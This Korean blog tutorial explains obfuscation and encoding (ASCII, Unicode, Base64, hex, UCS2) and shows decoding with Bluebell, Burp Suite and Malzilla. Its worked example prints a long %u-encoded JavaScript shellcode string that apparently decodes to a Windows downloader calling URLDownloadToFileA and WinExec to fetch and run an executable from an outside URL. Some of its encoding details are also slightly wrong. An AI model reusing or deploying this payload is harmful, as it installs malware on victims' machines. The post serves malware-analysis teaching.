일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 클라우드서비스
- 공개키
- azure
- 클라우드보안
- Burp Suite
- 와이어샤크
- isms
- 네이버클라우드
- 클라우드
- 로드밸런서
- 클라우드 자격증
- 취약점
- metasploit
- RDS
- AWS SAA
- 보안컨설팅
- 인스턴스
- 정보보안
- 개인정보보호법
- 로그분석
- mysql
- 파일시그니처
- ncp
- AWS
- EC2
- Iam
- 정보보호
- ISMS-P
- AWS SSA
- 클라우드자격증
- Today
- Total
처음 만나는 클라우드 보안
난독화 (Obfuscated code): 인코딩과 디코딩 정리 + 디코딩 실습 본문
이번 포스팅에선 난독화와 인코딩에 대해 알아보고 관련된 실습을 진행해본다.
난독화란?
: 개발자 혹은 공격자가 코드 스크립트의 분석이 어렵게 또는 분석시간을 늦추기위해 사용되는 기법을 말한다.
인코딩 & 디코딩
인코딩(Encoding): 사람이 작성한 코드를 컴퓨터가 이해할 수 있는 형태나 형식으로 변환 및 처리하는 과정을 말한다. 이때 변환의 기준은 대표적으로 ASCII코드와 유니코드가 있다.
디코딩(Decoding): 인코딩의 반대말로서 인코딩을 거쳐 변형된 형태를 원래 상태로 되돌리는 것을 말한다.
Unicode: 제 3세계 언어를 표현하기 위해 사용함
인코딩 방식
ASCII (ASCII, American Standard Code for Information Interchange)
: 미국 국립 표준 협회(ANSI)에서 표준화 한 문자 인코딩의 기초체계이다. 영문의 대/소문자, 숫자 그리고 특수문자표시가 가능하며 *16진수로 000(0x00)부터 127(ox7F)까지 총 128개로 이루어져 있어 2의 7승으로 표현되어 총 7bit의 부호체계이다.
참고) 컴퓨터의 기본 저장 단위는 1바이트지만 아스키코드가 7비트인 이유는 1비트를 통신에러 검출로 할당했기 때문
*16진수(Hexa-Decimal): 0,1,2, … 9, A, B, C, D, E, F (16개)
유니코드(UNICODE)
: 현재 가장 널리쓰이는 산업 표준으로, 기존 ASCII가 갖던 용량의 한계를 넘어 전 세계의 문자를 컴퓨터에서 일관되게 표현 가능하다. 1999년 HTML4표준이 등장한 이래 UTF-8을 표준 인코딩 방식이 오늘날까지 통용되고 있다.
64진법(Base64)
: 바이너리 데이터를 문자 코드에 영향을 받지 않는 ASCII코드로 표현하기 위해 만들어진 인코딩을 말한다. 8비트짜리 바이트 3개를 4개씩 쪼개어 Base64코드 4개로 사용된다. 4글자 단위에서 빈부분은 패딩(=)으로 처리된다.
ex) 4글자 단위의 패딩(=) 확인
Sk => c2s=
Ski=> c2tp
Skin=> c2tpbg==
Sking=> c2tpbmc=
Skingk=> c2tpbmdr
헥스(Hexa-decimal)
: 한 자리수에 2^4을 표현할 수 있어 공간 축약성이 좋고, 이진수와의 호환성이 높기 때문에 컴퓨터에서 많이 사용된다.
: 1바이트 (한글자)를 2바이트 16진수로 표현한다. 2의 6승인 64,6bit, 2bit 단위로 3개씩 사용
: %, \x를 구분자로 사용한다. Ex) %eb \x3a, \x00
헥사 알파벳 순서
41: A
61: a
30: 1
31: 1
UCS(Universal Character Set, 범용 문자 집합)
: UCS2는 16비트를 사용 4자리로 표현
디코딩 실습
활용된 프로그램 : Bluebell (http://s-lucky.titory.com/31)
%ea%b4%80%eb%a6%ac%ec%9e%90 : 관리자 : %구분 => 십육진수 => UTF8로 변환
UGFzc3dvcmQgaXMgV2ViaGFja2Vy : Password is Webhacker : 대문자 소문자 사용 => Base64
※주의 난독화된 스크립트는 위험한 사이트로 바로 연결될 수 있다.
이때 로컬 프락시 (Local Proxy)를 활용하여 사이트에 대한 직접 방문 없이 디코딩이 가능하다. 로컬 프락시는 Burp suite프로그램이 사용되었다.
난독화에 있어서 인코딩 뿐 아니라 아래 함수가 적용되어 디코딩의 어려움이 더욱 가중된다.
- Unescape(): escape를 원래대로 변환
- String.from CharCode(): 10진수를 ASCII로 변환
이때 디코딩과 함수적용을 함께 할 수 있는 프로그램인 Malzilla를 활용한다.
[Malzilla 공식사이트] https://malzilla.org/
예시)
"%u90" + "90" +"%uefe9%u0000%u5a00%ua164%u00" + "30%u0000%u408b%u8b0c%u1c70%u" +"8bad%u0840%ud88b%u738b%u8b3c" + "%u1e74%u0378%u8bf3%u207e%ufb" +"03%u4e8b%u3314%u56ed%u5157%u" + "3f8b%ufb03%uf28b%u0e6a%uf359" +"%u74a6%u5908%u835f%u04c7%ue2" + "45%u59e9%u5e5f%ucd8b%u468b%u" +"0324%ud1c3%u03e1%u33c1%u66c9" + "%u088b%u468b%u031c%uc1c3%u02" +"e1%uc103%u008b%uc303%ufa8b%u" + "f78b%uc683%u8b0e%u6ad0%u5904" +"%u6ae8%u0000%u8300%u0dc6%u56" + "52%u57ff%u5afc%ud88b%u016a%u" +"e859%u0057%u0000%uc683%u5613" + "%u8046%u803e%ufa75%u3680%u5e" +"80%uec83%u8b40%uc7dc%u6303%u" + "646d%u4320%u4343%u6643%u03c7" +"%u632f%u4343%u03c6%u4320%u20" + "6a%uff53%uec57%u04c7%u5c03%u" +"2e61%uc765%u0344%u7804%u0065" + "%u3300%u50c0%u5350%u5056%u57" +"ff%u8bfc%u6adc%u5300%u57ff%u" + "68f0%u2451%u0040%uff58%u33d0" +"%uacc0%uc085%uf975%u5251%u53" + "56%ud2ff%u595a%ue2ab%u33ee%u" +"c3c0%u0ce8%uffff%u47ff%u7465" + "%u7250%u636f%u6441%u7264%u73" +"65%u0073%u6547%u5374%u7379%u" + "6574%u446d%u7269%u6365%u6f74" +"%u7972%u0041%u6957%u456e%u65" + "78%u0063%u7845%u7469%u6854%u" +"6572%u6461%u4c00%u616f%u4c64" + "%u6269%u6172%u7972%u0041%u72" +"75%u6d6c%u6e6f%u5500%u4c52%u" + "6f44%u6e77%u6f6c%u6461%u6f54" +"%u6946%u656c%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f% u2e6b%u7865%u0065"
Misc decoder (text) > concatenate (+없애서 통일시키기) > UCS2 to Hex > Hex 탭으로 복사, Hex로 붙여넣기
> 오른쪽 유포창 확인
참고자료https://medium.com/@Lilyislily/%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EC%9D%98-%EA%B8%B0%EB%B3%B8%EC%A0%81%EC%9D%B8-%EB%82%9C%EB%8F%85%ED%99%94-%EA%B8%B0%EB%B2%95-74e4d42bc7ba
http://wiki.hash.kr/index.php/%EB%94%94%EC%BD%94%EB%94%A9
https://m.blog.naver.com/ycpiglet/222146759413
https://whatisthenext.tistory.com/103
https://namu.wiki/w/BASE64
'정보보안' 카테고리의 다른 글
백도어(backdoor) 트로이목마(Trojan horse) 해킹 실습 (0) | 2022.05.11 |
---|---|
웹쉘(WebShell)기본개념 + 실습하기 (0) | 2022.05.10 |
SQL 인젝션(Injection)이란? 해킹실습과 대응방안 (0) | 2022.05.10 |
SQL Injection 실습을 위한 환경 구성하기 (with Win7 server) (0) | 2022.05.09 |
해킹복습-공격대상: Window10 (0) | 2022.05.05 |